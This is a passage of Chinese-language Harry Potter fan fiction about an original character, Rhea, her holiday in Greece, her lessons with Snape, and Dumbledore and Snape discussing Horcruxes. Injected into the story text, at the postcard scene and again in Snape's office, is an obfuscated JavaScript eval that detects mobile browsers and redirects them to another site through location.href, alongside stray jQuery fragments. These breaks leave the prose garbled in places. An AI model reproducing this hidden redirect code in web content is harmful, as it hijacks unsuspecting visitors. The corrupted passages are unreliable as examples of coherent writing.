不用打开盒子他也知道会放有一些干燥处理过的材料或茶包,也许是薰衣草、洋甘菊、桂花、橙花或者缬草根,都是她外公亲手种植的。少女不止一次随口提起过,她的外公很高兴有人能帮忙分担这些过多的成品。 斯内普倒是不以为然,毕竟这些材料的成色质量、处理工艺都极好,比大部分对角巷能买到的都要好许多。无论是自己调配茶包或者用在魔药上面都能有极佳的发挥。 他又将目光落在明信片上,是一幅麻瓜照片。 大片的海水蓝得出奇,海平面上正有一轮落日,岸线之上的山坡里,皆是被晚霞浸染出金红的陶瓦屋顶。照片的右下角,花体字写着“希腊·伯罗奔尼撒半岛”。 翻过来背面,只有他的名字,还有一个代表她的字母。 他盯住那些字母看了一阵,片刻之后,他将这张明信片压进自己的抽屉里。 关上抽屉,他走到自己的书架前挑拣出几本书。他将它们叠好,用防水油纸包装以后搁在柜子的一角。 夜里,他梦见了一片无尽的海。 他看见自己赤脚赤身一步步趟进那些彻骨薄凉的蓝色里面,义无反顾得像是扑进母亲怀抱的纯真孩童。 深黯沉静的海水包围了他,他闭上眼,将自己的身体交给它们。它们一路浸过他手臂上丑陋刺眼的烙印,浸过伤痕累累的脊背,浸过他仍跳动不止的左胸。 他沉了下去。 就在无尽黔黑的海底,他因窒息的痛苦而猛然睁眼,迎目对上了一抹金灿的暮光。 …… 寒假回家的这段时间里,不仅蕾雅自己在一直思考邓布利多和斯内普的事,她同时还注意到父亲也一直处于一种若有所思的状态中。 其实自神秘司一事以来父亲就变得十分忙碌,每日不是在家里写文件,就是在魔法部里加班。所以,蕾雅没找到机会问父亲是否还在为其他事为烦恼,而父亲似乎也决定对此缄默不谈。 不过新年之后,雷格纳还是赶在魔法界变得更糟糕之前请了一次长假期,准备和一家人进行一次本该在暑假进行的旅行。 目的地是希腊,雷格纳显然是希望和煦的爱琴海之风能吹散家里人的愁绪,同时顺便拜访一下定居在伯罗奔尼撒半岛的外公。 蕾雅的外公莱斯利·温斯洛是一名麻瓜植物学家,尤其喜欢研究那些有疗愈功效的植物。原先在大学没有授课的日子里,他就喜欢打理自己庭院里的花花草草。 但英国的连绵阴雨实在是不太利于这类型的植物生长,退休以后,外公干脆搬回了跟家族有些渊源的希腊,那里的气候更为温和。 知道旅行这件事以后,蕾雅在家里犹豫了半晌,最终还是给斯内普写了一封信,询问关于教自己狼毒药剂调配的事。 为了不过多打扰他,她故意将信的内容保持简洁。 ——“教授,新年好。家里打算寒假去旅行,我需要什么时候回来学习药剂?” 斯内普的回信很快,第二天中午她就收到了更简短的答复。 ——“开学再说。” 就这样,蕾雅久违地跟着父母亲一起坐上了麻瓜飞机,来到了希腊。 虽然并不是第一次来,但她从来没有觉得眼前的景色是那么的美好过。至少比起英国的阴霾紧张,这里简直就是天堂。 天空是蓝的,海水也是。即使处在一月,气温也暖和得让人心情灿烂。 粼粼泛光的大海,白天明艳得如天穹之下的宝石,晚上又是另一种深邃隐晦的绀青。有时候会让蕾雅不由自主地想到邓布利多。 外公在一座小山的半山坡购置了一块带有花园的土地,还养了一条憨厚的金毛寻回犬,取名叫肉桂卷。 从外公的住所沿着蜿蜒的山道开车下去便是一个小城。大人们总在小城这些沉浸在艳阳的酒馆里聊天、搭配着费塔奶酪喝当地自产的葡萄酒。 蕾雅则更喜欢跟肉桂卷一起爬到小镇后方的山丘上,这里有许多大块的、未经开凿的岩石。从岩石的缝隙里望去,往下便是满山的红陶瓦顶。一层层,一排排,配合着石材的暖黄,缀在这天地皆蓝的世界里,色彩分明却并不突兀。 等到了日落时分,暖光会将这里的全部镀上一层朦胧的金辉。 肉桂卷有时候喜欢乱跑,蕾雅也不太在意,慢悠悠地让这只寻回犬领着自己穿行在弯曲小路里。这里的人都很亲切,一路上可以收获许多笑容和善意,而肉桂卷在欢撒之后也总能把她带回外公的身边。 回过神来时,蕾雅已经站在一家印象中从未见过的酒馆前。外墙漆着跟大海一样的明亮湛蓝,窗户禁闭,只有一方小小的招牌悬挑而出。啤酒符号上有一道斜杠,看起来有点奇怪。 她看了一会儿,肉桂卷忽而挣脱了她手中的绳子,哼哧哼哧地甩着毛茸茸的大尾巴,跑进了微敞开门的酒馆里面。 “喂,肉桂卷!”蕾雅轻声叫道,犹豫片刻,最终跟了上去。 等她走进酒馆里,一个留着及肩卷发的女人正蹲着抚摸肉桂卷。肉桂卷摇着尾巴咧着嘴,正得意洋洋地看着站在门口的蕾雅。 “肉桂卷!”蕾雅喊了一句,肉桂卷不为所动地蹭了蹭女人的身侧。蕾雅尴尬的笑笑,说道:“呃,不好意思。我的狗……” 酒馆内的空间很逼仄,灯光调得很暗,吧台后方的柜子上摆满了琳琳琅琅的酒,几个酒杯被倒挂着垂下 ,一架收音机正在播着她听不懂的歌。 “哦!”女人抬起头来看向蕾雅,须臾,深褐色的瞳仁里透出友善热情的笑容,“你好,小巫师。” 蕾雅愣了愣,本来要走向肉桂卷的脚步有些局促地顿住了,“啊,你怎么……” “外面牌子上的符号,意思就是巫师酒馆。你不是这里的人吧?”女店主笑着解释。手里仍然轻轻抓挠着肉桂卷的毛,肉桂卷已经开始趴在她身前享受着抚摸了。 “哦原来如此,”蕾雅从肉桂卷身上收回不满的目光,也朝她露出了笑容,“我从英国来旅游。” “英国。你还在上学吧?霍格沃茨?” “是的。” “嚯。”女人扬起眉毛,眼里闪烁着一点灵敏的光,她眼睛一晃,笑着说:“既然来了,要不要写点明信片寄回去给朋友?” “呃,什么,明信片?”蕾雅疑惑地问道。 “是呀,我这种小城巫师,为生计发愁嘛。所有生财的门路都得做一点,正好麻瓜和巫师都能卖出去。” 还没等蕾雅回答,女人就站起身来,从吧台后面翻出了一叠明信片递给蕾雅。一向面皮薄的少女确实也没好意思拒绝她,抿住了嘴,低头开始挑选了起来。 女店主又从吧台后面翻出几片肉干,正一片片地喂给金毛犬。 听着肉桂卷嚼肉干的声音,蕾雅坐在高脚凳上挑选出好几张明信片。有描绘着希腊的大海、红屋顶的小镇、盛开的紫罗兰,还有露天安静的酒馆。 她很快写下了几句祝福,寄给哈利、赫敏、韦斯莱一家,还有布莱克、卢平、邓布利多和麦格教授…….都是前阵子关照了她的人。 最后一张,明信片是画着大片洒在伯罗奔尼撒半岛的温柔落日。 她心里微微一动,落笔写到: To ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“蕾雅,我下午跟你妈妈和外公商量了一下。”雷格纳开口说道:“我和你妈妈决定她下学期调职过来这边,待一阵。” “啊?!”蕾雅牵着肉桂卷,很惊讶地侧过头看自己的父亲,“多久?” 父亲苦笑了一下,耸了耸肩摇头。再又说道:“我是想,我希望你能跟你妈妈一起呆在这里。”他边说着边停住了步子,神色凝重地转向自己的女儿,“我知道,你有很多同学已经不再上学了。” 仿佛察觉到雷格纳和蕾雅的情绪,聪敏的肉桂卷也顿住了,垂下了尾巴,回过头来用疑惑的小眼神注视着他们。 “很……严重吗?”蕾雅试探性地问道,“部里。” “很严重。”雷格纳几乎是脱口而出就回答了她,“还会更严重。所以……” 蕾雅细细观察着父亲脸上紧绷的表情,迟疑了一阵,终于还是小声说道:“可是,父亲,我必须待在霍格沃茨。妈妈在这里会很安全的吧?那我也不能把你一个人扔在英国。” “你必须在霍格沃茨?”雷格纳忧虑地挑起眉毛,目光里透着难掩的焦虑。 “有我不得不做的事情。”她说。 两人沉默一阵。 “非你不可?”雷格纳问道。 “非我不可。”她答得坚定。 雷格纳耷拉着一头垂头丧气的金发,脸上的了然与难堪好像表示了他早知道她的答案一样。 最终,他无奈地叹了一口气,用右手默默接过蕾雅手里肉桂卷的绳子。然后,他用左手轻轻搂住女儿纤细的肩膀一起走下台阶,没有再说什么。 回到了英国以后的第二天,蕾雅收到了大家假日里回复的信件,另有一份捆得厚厚的包裹。她拆开来,里面是几本书——《狼毒药剂原理》、《黑魔法与黑魔法防御术渊源》、《心灵魔法,控制与守恒》……。(2)还有一张羊皮纸,是潦草的字迹与凌厉的笔锋: “每周五,晚上六点。” 她带着这些书与父亲给她的幻影移形原理资料,回到了霍格沃茨。雷格纳说这学期会开始教授幻影移形并且希望她可以成功考取证书,蕾雅乖巧地应着,没有告诉他自己已经在斯内普的训练下学习完这项技能了。 新学期的一切却好像都跟前一年走的时候没什么变化,除了斯内普好像不怎么在城堡露面以外。 在第一个周五来临前的几天,蕾雅仅在周一的黑魔法防御课上见到了斯内普,他看起来比之前阴沉不少。 其余的生活如常,哈利依然紧抱着那本《高级魔药学》,时不时拉着他们讨论斯内普和马尔福的举动,蕾雅知道他的怀疑暂时是不会停止了,也许邓布利多也没法说服他。 而赫敏和拉文德的关系则彻底降到了冰点,连最基本的寒暄都消失不见,蕾雅被迫成为了寝室里的夹心饼干。 不过六年级忙碌起来以后,大家呆在寝室的时间也越来越少了。 (1)女主名字:蕾雅·莱恩哈特-Rhea Leonhardt。 (2)我编的。 36. 魂器 新学期刚开始的两天,课程虽难度有所增加,但蕾雅觉得自己变得更得心应手了。 六年级的课程明显比之前复杂,春季学期的任务也更加繁重,但斯内普这一年来的各种指导和禁闭显然起了很大作用。在魔咒课上,蕾雅的表现好得快要引起赫敏的怀疑,不仅如此,她发现就连她以前最不擅长的草药学也变得逐渐融会贯通了起来。 天气依旧寒冷,霍格沃茨被厚重的积雪覆盖,变成了一望无际的白。连远处禁林上方的高山,也被洁白的雪层笼罩,成为天际间一道模糊的白色粗线。 第一周的周三下午,课间休息时,蕾雅无意中在长廊外的庭院里撞见了哈利拉着赫敏,低声交谈着什么。她好奇着悄悄靠近,藏在堆积得比人还高的白雪后面。但她只听到了细微的嗡嗡声,她很快便意识过来,也许哈利是给他们四周施展了一个闭耳塞听咒——是那本《高级魔药学》里记载了的,由“混血王子”自己发明的。 她晃了晃脑袋,默默地离开了他们,没有多做任何的猜测。 不过,这件疑惑的事倒是很快得到了答案。因为就在那天晚上,坐在公共休息室一角的哈利叫住了刚从图书馆回来的她。 哈利朝她挥了挥手,蕾雅挑着眉毛,一边解着围巾一边慢悠悠地走了过去。 “蕾雅,你有没有听过魂器?”她刚一坐下,哈利就迫不及待地问到,面前的壁炉把他的脸衬得更加神秘了,“你有没有,听你爸爸提过?” “魂器?”蕾雅重复了一遍这个陌生的词汇,歪着头在脑海里搜寻了片刻,最后摇了摇头,“那是什么?为什么问这个?” 哈利抓了抓自己那头黑发,有些为难地看着蕾雅,眼睛里有些躲闪。 “唔,如果你不想说的话,我就当没听见过这件事了。”蕾雅耸了耸肩,露出一个理解的笑容,试图让他放下心。 哈利张了张嘴,却又犹豫着闭上了,蕾雅识趣地移开了些目光,开始观察他们对侧壁炉里不断跃动变幻的火星。 过了一阵,她听见哈利低声说道:“抱歉。” “没关系。”蕾雅轻轻笑了笑,挥了挥手:“我知道你有很多顾虑。如果你需要,我可以帮你写信问问爸爸。” 哈利脸上挂起了不好意思的神情,目光凝视着她,随后说道:“我听说魔法部最近很忙,还是先不打扰莱恩哈特先生了。让我再想想,也许能自己弄明白。” “爸爸不会介意的。不过,等你想好了再告诉我,好吗?”蕾雅答道。 第二天下午是这学期的第一节魔药课。 斯拉格霍恩站在讲台前,先详细解释了一遍戈巴洛特第三定律,强调着如何正确地分析魔药及解药中的附加成分。随后,他给每个人都分发了一小瓶不知名的魔药,让他们在这堂课上调配出解药。 当然,在蕾雅这一年的实践中,她也逐渐理解了这一点。 复合魔药的效力,远远大于每种成分单纯相加的总和,因为不同的成分之间会发生复杂的成分反应,而这也是调配复合解药如此困难的原因。不过,这并非无解之题。 最简单、直接的解药便是粪石,然而这种材料十分稀有,也并不总是一个常规的选择。如果这个答案被放在斯内普的课堂上,毫无疑问,一定能荣获零分。 她扯了扯嘴角,将斯内普从自己的脑海里扔了出去。随即慢悠悠地将斯拉格霍恩交给她的那瓶魔药倒入坩埚,开始加热。她用魔杖轻轻点向那锅泛着褐绿色的液体,念动了戈巴洛特第三定律的判断咒语。随着咒语的生效,烟雾缭绕,她开始凝神仔细地分辨出各种魔药的成分。 荨麻、河豚鱼眼睛、蝙蝠肝脏——肿胀药水? 不对,还有贝拉刃草和火螺壳粉末。 唔,蕾雅皱了皱眉,她原以为能通过探测出的魔药成分来推断出药水的种类,进而直接配置解药,没想到斯拉格霍恩并没有打算让他们这么简单地完成课题。 不过也没有太难,至少他没有刻意加入过多复杂的材料,否则这个方法就不好用了—— 蕾雅摊开一张羊皮纸,将每一种成分抄在上面,写成了一行。随后,她在每个名称之间划出弧线,开始推敲它们之间的反应物。 有些成分是不会产生直接反应的,但是有些则会生成新的成分,继而与其他成分继续反应……等到列完所有可能的反应物,她再一一往回推敲它们对应的解药,以及解药成分间的相互作用。 她明白,解药从来都并不唯一,能够抵消毒性的都可以被使用,同时必须时刻注意——某种成分的解药可能会与其他成分产生冲突。 斯拉格霍恩挺着那过分庞大的肚子,在教室里巡堂。他的脸色随着每一口坩埚冒出的奇怪气味变得越来越难看,摇头叹气地从每一个垂头丧气的学生身边经过。路过哈利时,叹息声重得连站在另一桌的蕾雅都能清晰听见。 等到全班都开始垂头丧气地对着自己锅内的不明之物面面相觑时,蕾雅才终于演算完,开始专心着手配制解药。她将从药柜里拿出的药材一样样准备好,排列在桌上。右手捻着魔杖,小心地操控火候,左手有条不紊地将每一种材料依次放入坩埚中。 蕾雅完全沉浸在自己的工作中,没有注意到斯拉格霍恩站在她身后。这位魔药学教授此时正摸着自己的胡子看着她的动作,眼里发出难掩的喜悦之色。 时间一分一秒过去,等到课程的最后一刻,蕾雅熄了火,轻手轻脚地用玻璃瓶将那锅泛着明亮绿色的药剂小心装起。 “噢,梅林啊,总算有个做得像样的了!”斯拉格霍恩终于忍不住发出一声兴奋的赞叹,“好了,大家都停下来,快来看看!” 教室里的学生们纷纷停下手中的动作,尤其是哈利和赫敏,他们立刻围到了蕾雅的身边。 “快让我看看。”斯拉格霍恩伸出手来,接过了蕾雅手上还没来得及塞盖子的魔药,低头仔细地闻了闻,脸上的笑容更大了,“很接近,非常接近了。” 教授又顺手拿起了她桌上写满演算过程的羊皮纸,胖胖的手指一行行划过,最后停在了一个地方:“这里少算了一处,荨麻有时会和贝拉刃草产生反应,可能会带来轻微的麻痹感。不过无伤大雅,这已经远超六年级的课程水平了!” 他将羊皮纸递了出去,大声说道:“你们看看这个演算过程,这才是对第三定律的正确运用!”斯拉格霍恩的话音刚落,羊皮纸已经被赫敏拿了过去,哈利也凑过来看了几眼。几秒钟后,蕾雅感到赫敏和哈利投来了满是疑惑的视线。 然而,她还没来得及细想,斯拉格霍恩继续说道:“这实在是出乎我的意料,格兰芬多加二十分!现在,快告诉我,你从哪里学会了这种算法?” 蕾雅一愣,感受到对面赫敏和哈利的目光更加灼热了,她甚至能看到赫敏铁青的脸色。为了避开他们的注视,蕾雅迅速把头转向斯拉格霍恩,她小声而忐忑地说道:“是……禁闭的时候,斯内普教授教我的……” “西弗勒斯!难怪!”斯拉格霍恩发出一声满意的笑,“也难得你还能记住。” “斯内普教授……”蕾雅的声音越来越轻,低声补充道:“教得很好。” 那一天,蕾雅几乎整个白天都在刻意避开赫敏和哈利,生怕他们问她更多关于斯内普的事情。梅林知道,大脑封闭术能隔绝记忆,但拯救不了自己因为心虚而发烫的脸。 晚上从礼堂出来时,天空又开始飘起了雪。她将那本《狼毒药剂原理》塞进口袋里,一边把围巾系紧,一边穿过寂静的庭院,朝着天文塔的方向走去。 雪花轻轻落在她的发梢上,她将脸埋进围巾里,在柔软的布料里感受着自己呼出的暖气。 斯内普的办公室却是暖的,暖得让这位教授难得只穿着一件衬衫。 房间一侧的调配台上,小火正煨着一锅魔药,墙上挂满了配方和笔记,几乎将泛黄的墙纸遮住。一个新的书柜挤在角落里,里面塞满了褪色的古书。 “教授,晚上好。” 蕾雅轻轻将门带上,就盯着那锅魔药眨了眨眼睛,旋即想起了邓布利多。 落在自己眼睫毛上的雪渣在暖气里即刻融化了,化作细微的水珠沾在眼角。她很快低下头,伸开冻得有点发红的手去解围巾,白色的碎片从格兰芬多的红围巾上抖了下来,瞬间被壁炉的热气蒸发。 “嗯。”斯内普站在侧柜旁,转头看了她一眼,正好捕捉到她那潮湿的绿眸里一瞬掠过的黯然。他顺着她的视线望过去,发现她是在看墙边上的坩埚。 斯内普眉头微微一皱,脑海中忽而闪过圣诞夜那晚站在他门口的少女,脸上同样带着这种迷惘的惆怅。 显然,有什么他不知道的事情发生过了,而这件事,大概与邓布利多有关。斯内普心中暗下结论。 “我听说了你在魔药课上的表现,莱恩哈特。”斯内普回过身去,继续指挥着侧柜上的药材。他手中的魔杖轻轻一挥,几撮狼毒花、苦艾草、曼德拉草叶和银草根依次飘浮而起,整齐地摊开在调配台上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593446|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唔。”黑发少女把自己的围巾搭在一旁的椅子上,脱下外袍,系上围裙,然后把那本做了些笔记的书放在调配台一侧。她扫了一眼材料,发现那几捆刚被铺开的材料后面,还放着一小瓶龙血、一碗新鲜蛇胆、一小盒月长石粉末。 斯内普不紧不慢地将剩下的药材送回柜子,以低沉的声音又说道:“当然,还有波特的粪石。如果我没猜错,他是从我的书里看到的,对吗?” 蕾雅的目光跟随着他魔杖的指引在药材间游移,终于有些局促地回答:“正如您所想。” 斯内普冷哼一声,关上柜门绕到她面前,靠在自己的办公桌侧,双臂交叉,冷峻的黑眸微微眯起。 “所以,邓布利多跟你说过了什么?”他问道。 一听到邓布利多的名字,蕾雅全身顿时僵住。 她的手不由自主地开始在围裙上摩挲,试图掩饰自己内心的慌乱:“呃……您怎么……” “邓布利多每个圣诞节都会一个人在厨房吃圣诞布丁。”斯内普毫无表情地说着,漠然地指了指自己嘴角,似乎是在提醒她什么。 牛奶。她想起来了。 少女咽了咽喉咙,眼神偷偷瞟向斯内普稍稍挽起衣袖的手腕,又往上探去,盯住他那张冷峻的扑克脸。那上面的每一道冷硬的线条都在告诉她,隐瞒的后果不堪设想。她顿时一惊,匆匆移开了目光,无意识地开始摸自己的鼻尖,想装作没看见过他的警告。 她假装在低头斟酌自己的语言,实际上又一次将余光扫向那锅魔药和满墙的笔记。 每一张羊皮纸上都密密麻麻地写满了批注、符号,和整理好的步骤……她实在是不忍心告诉斯内普他所做的一切,终究是徒劳的。 最终,她再次看向了他,而斯内普也正凝视着她的一举一动。顿住了一阵,她低声嘟哝道:“教授……您听说过魂器吗?”她决定以另一个话题掩盖邓布利多的话。 斯内普的眼神瞬间敛住了,他的反应比她预想得还要激烈,几乎是咆哮道:“你是从哪里听到这个词的?” 蕾雅被他的反应吓得缩了缩脖子,心脏砰砰跳了起来。还没来得及开口,斯内普已大步上前,他高大的身体挡住了壁炉的光,在她面前投下一大片阴霾,威迫感也随之而来:“你不要跟我说,你是从邓布利多、或者哈利·波特口里听见的?” 斯内普知道魂器的事?他为什么这么生气? 蕾雅抬起头来看他在阴影里更扭曲的脸,她根本没想到这个词会让斯内普有这么大的反应。她以细微到几乎不可察的幅度点了一下头:“……哈利那天问我知不知道这个东西,我在想我该不该问一下您,或者我父亲……” 又是沉默,像一条宽阔的河一样横亘在两人之间数秒。蕾雅小心翼翼地观察着面前的教授,最终将目光落在斯内普压在眼眶上的浓眉和那紧抿成一线的薄唇上。他的眼角微微抽动,深邃的目光好像越过了眼前的一切,仿佛在心里快速地推算着些什么。 随后,他缓缓伸出魔杖,轻轻挑起她的下巴,迫使她直视着他,一阵刺痛感从少女的脑袋里毫不留情地划开了。 “呜,教授!”她看着他骄傲的鼻梁,抬手捂住了自己的太阳穴。犹豫着将哈利问她魂器的记忆片段放了出来,推给了他。 片刻后,斯内普退出了她的记忆,但维持了一阵这个动作。那双黑眸里没有一点的温度,好像想透过她的眼睛看到更多的东西般。 “听着,别再和任何人说你听说过这个事。”斯内普的语气里有滚滚翻涌的凌冽,脸色更是阴沉到如即将落雷的阴雨天。 “当、当然。” “再听见什么别的消息,你必须告诉我。”他命令道。 “我知道了。”她应道,仍然注视着他。 斯内普这才松开她,走到她身边,轻轻搅动角落里那锅深灰色的魔药。随着他的动作,坩埚正升起一阵稀薄浅淡的烟雾。 “好了,让我看看你的预习情况。”斯内普话锋一转,冷淡地问:“先告诉我,狼毒药剂为什么如此难以配制。” 蕾雅几乎是立马就松了一口气,为斯内普忽略了邓布利多的事。 “材料昂贵,且比例苛刻,一点偏差就会出现不一样的成分。”她答道,又补充着:“而且需要现配现用,配制的环境、温度都很难一致,必须用魔杖调节温度,失败率很高。” 斯内普微微颔首,熄灭了炉下的火焰,侧头看向她:“不错,开始吧。让我看看你能做到哪一步。” 37. 赝品 邓布利多外出的时间越来越长,等斯内普再次抓住机会见到他,已经是三月份了。 那天,六年级的幻影移形课接近尾声,斯内普从自己学院那群吵吵闹闹、频频失败的学生旁边走过,冷冷地吼道:“放松你们的身体!别再让我看见任何愚蠢的分体事故!”他话音刚落,转过身时,就看见窗外长廊上,邓布利多正慢悠悠地走着。 斯内普立刻穿过一旁格兰芬多的队伍,找到麦格教授,凑到她身边低声说道:“米勒娃,我出去一下。” 麦格疑惑地看着他,但还是点了点头。斯内普随即转身离开,经过那位假装自己幻影移形不太熟练的黑发少女时,他扯了扯嘴角。 他熟练地穿过各种长廊和楼梯,以最快的速度来到了校长室。 推开门时,邓布利多正站在房间里吃着零食,校长室的桌上摆放着两把一模一样的格兰芬多宝剑。 “噢,西弗勒斯。”邓布利多抬起头,嘴里正含着一块柠檬雪宝,显然有些惊讶斯内普突然出现在这里。他含糊不清地说道:“怎么了?你不是应该在六年级的课上吗?” 斯内普的黑眼睛稍稍眯起,显然不打算浪费时间回答这种无关紧要的问题。他直接迈步走到邓布利多的办公桌前,目光落在那两把剑上。 “这是在做什么?”斯内普拿起其中一把格兰芬多宝剑,在手里掂了掂,随手又放了回去。他的手指滑向另一把剑,脸上闪过一丝嘲讽,“别告诉我,你这是在完成你死前一百件必做的清单之一——复刻所有霍格沃茨的陈旧纪念品,并把它们做成你的陪葬品?” 邓布利多被他的话呛得笑出了声,忍不住摆摆手,“后面哈利会用上的,而假的这把,等他们控制了霍格沃茨,你也会用上的。” “用上?”斯内普挑了挑眉,细细端详着手中的剑,很快,他的黑眸中闪过一丝恍然大悟,“是魂器,对吗?之前那枚诅咒了你的戒指,你正是用这把剑——” 邓布利多转过了身,方才那些轻松的神情全部都消散了,“看来,你也做了许多调查啊。” 斯内普放下了手中的剑,沉静地转向邓布利多,慢慢说道:“或许,霍格沃茨可以不被控制。你可以亲自把剑交给他。” 邓布利多讶异地扬起眉毛,眼中闪着敏锐的光,“什么意思?别跟我说,你打什么愚蠢的主意。这跟我们一开始说好的不一样。” 黑发巫师只是站在那里,他细细地看着老巫师凝重的神情,眼神又停留在邓布利多枯黑的右手上片刻,似乎并不急于解释。他的脸上有一种隐忍的坚定,安静垂下的黑发与身上的黑袍将邓布利多的洞察隔在了外面。 “我知道你在想什么,也知道你最近在做什么。”邓布利多的脸比之前更阴郁了些,缓缓开口:“我还听说了,你立下了牢不可破的誓言。所以,我劝你不要打这种天真愚蠢的主意。” “什么?”斯内普的眼中闪过一抹惊愕,脸色一沉,“你是怎么知道的?” “我跟你说过了,霍格沃茨的高墙从来都不是密不透风。如果你不希望某件事被人知道,最好的办法就是根本别提它。”邓布利多平静地说道。 “是波特,对吗?”斯内普冷笑一声,瞬间便拿定了主意。因为他仅在那个晚上提到了这件事,而他揪着马尔福出去的时候,波特也在。 邓布利多轻轻笑了,“哈利确实告诉了我,不过,蕾雅在圣诞节时也告诉了我。” 原来如此。斯内普蓦地想起来圣诞夜的晚上,少女哭红的双眸与前些日子里故意以魂器转开的话题。 邓布利多与她之间的秘密是这个吗? 她知道自己立下了牢不可破誓言?这也是为什么她在看见他为邓布利多研制解药时,眼眸里如此伤心的原因吗? “西弗勒斯,”邓布利多稳重的声音打断了斯内普的沉思,“我很感激你的心意。但这绝不是一个明智的选择。” “我认为这是最好的结局。”斯内普立即回答道,语气冷漠得几乎没有波动。 “我明白,你希望通过这一切赎清过去的过错。”邓布利多顿了顿,湛蓝的眼睛深如夜空,“可活着已是赎罪,死亡亦非归零。活下来,梅林终会洗涤你的灵魂。” 斯内普的面部肌肉抽动着,嘴角紧抿,整张脸都绷得像铁一般僵硬。他没有回应,眼神却闪烁了一下。 “你难道没有想过,会有人为此心碎吗?”邓布利多的声音依然谦和,但却宛如一把精细锋利的刀刃,轻柔却精准地刺入了斯内普的内心,“你不觉得,那双眼睛,过于相似了吗?你没有想起谁吗?” 像谁? ——清澈明亮的眼睛,冻得通红的鼻尖。 斯内普的身体僵住了一刻,呼吸也变得急促了几分,双手不自觉地握成了拳头。 一种无名的怒火从腹腔内翻涌而起,那颗本该死寂的心脏忽而也开始剧烈地跳痛起来。 “你是瞎了吗,她不像!我也不会允许你再提这个!”斯内普低吼道,声音沙哑却带着剧烈的颤抖。他的脸显得愈加苍白,黑眸里满载了压抑的愤怒。 “如此便好。”邓布利多凝视着面前的黑发巫师,眼里多出了一些释然和欣慰,他温和地继续说道:“所以,你必须杀死我。” 就在斯内普还想要继续争论的时间里,校长室门口传来了麦格的声音。 “阿不思!你在吗?你得快来看看!”苏格兰女巫的声音急促而焦虑。 “怎么了,米勒娃?发生了什么事?”邓布利多看了一眼斯内普,两人默契地朝门口走去。 当门被拉开,麦格教授那紧张而无措的脸出现在门口。“哦,梅林,西弗勒斯也在这里。是罗恩……你们快去医疗翼看看,他喝了毒酒!斯拉格霍恩教授正在照看他。” 邓布利多和斯内普再度对视一瞬,两个人心里都清楚发生了什么事。 在医疗翼里,大片临近黄昏的光线从高窗倾泻而下,落在了围在病床周围的一群格兰芬多学生身上。斯内普扫向那群学生,远远看见黑发的少女也站在其中,脸上带着惊恐。 他移开些目光,病床上躺着的红发韦斯莱仍然在昏睡中,嘴里含糊不清地念着什么。 斯拉格霍恩站在更远的墙边,一脸担忧地捧着一壶酒,看到三位教授进来,他连忙迎了上去。 邓布利多谨慎地看了一眼罗恩床前的那堆学生,以眼神示意斯拉格霍恩到走廊里说话。 “米勒娃,你留在里面看看罗恩的情况。”邓布利多轻声对麦格说,待她离开后,他压低声音问斯拉格霍恩,“霍拉斯,发生了什么事?” “哈利刚刚带着那孩子来,噢,可怜的孩子中了迷情剂,我已经给了他解药。”斯拉格霍恩显得有些手足无措,“今天是那孩子的生日,我想怎么能这么倒霉呢,便开了一瓶酒……他只喝了一口,便中毒了。幸好,波特翻出了粪石……” 斯内普撇了一眼病床隔壁的哈利,伸手接过了斯拉格霍恩手里的酒壶。他低头细闻,却只闻到了蜂蜜酒的味道。于是他又拿出魔杖,轻轻敲了敲瓶口,一阵浓重的黑烟骤然升起,随即又化作银绿色的淡雾。 “蛇毒。”斯内普轻声说道,随后看向了邓布利多,后者了然地点了点头。 “这瓶酒是谁给你的?”邓布利多再次询问。 斯拉格霍恩愣了一下,双眼快速地转动着,皱起了眉头,“我……我不太记得了,但本来是想送给你的,阿不思。” 离开医疗翼后,斯内普和邓布利多一路无言,默契地一同走上了通往校长室的楼梯。 等校长室的门被再次掩上时,夜色已经笼罩了整个霍格沃茨,室内一片漆黑,只有凤凰福克斯整理羽毛的轻微声响回荡着。邓布利多长叹一声,抬手点燃了烛火与壁炉的火焰。然后,他将一把格兰芬多之剑搁在架子上,另一把则藏入了挂满画像的石墙暗格里。 邓布利多转过身,脸上比之前更严肃了几分。斯内普只是一动不动地站在那里,明明灭灭的光扑了过来,映出了一张棱角分明的脸。 “西弗勒斯,仔细听着。时间不多了,有些话我必须告诉你。”邓布利多严厉的语调里满是不容置疑,“不要打断我,也不要反驳。到了某个时刻,你必须把我今晚对你说的话,告诉哈利。” 斯内普冷漠地看着他:“告诉他什么?什么时候告诉他?” “到了某个时候,伏地魔会为他的那条大蛇担心。”邓布利多停顿着,目光深邃。 “纳吉尼?”斯内普敏锐地问道。 “不错,到了那个时候。他用魔法将它保护起来,不再派那条大蛇去执行任务的时候,就是你该告诉哈利这件事的时刻。” 斯内普皱起眉毛,迅速捕捉到其中的含义,“你是在告诉我,纳吉尼也是他的魂器之一吗?一共有多少个?” 邓布利多当然毫不为斯内普的洞察力惊讶。他稍稍扬起了下巴,捋了捋自己的胡子,似乎在权衡是否要回答他这个问题,不过他最终还是开了口:“我不清楚,我仍在让哈利向霍拉斯打探这方面的情报。但至少有三个以上,我想我们已经摧毁了两个。” “他将自己的灵魂分裂了至少三次?”斯内普厌恶地说道。 “正是如此,所以要杀死他,必须破坏所有的魂器。” 斯内普无动于衷地看着他,仿佛在消化这个事实。片刻,他眯了眯眼睛,示意邓布利多继续说下去。 “所以,到纳吉尼被保护下来的那个时候,你就可以告诉哈利了。” “到底要告诉他什么?”斯内普再次不耐烦地问。 邓布利多深吸了一口气,别开了视线,不再直视斯内普的眼睛。 “你必须告诉哈利——在伏地魔试图杀死他的那晚,当莉莉用生命挡在他们之间的时候,因为一种古老的魔法,那个索命咒反弹到了伏地魔身上。哈利因此而获救,但这也导致伏地魔的一小片灵魂附在了那栋房子里唯一一个活着的生物上。” 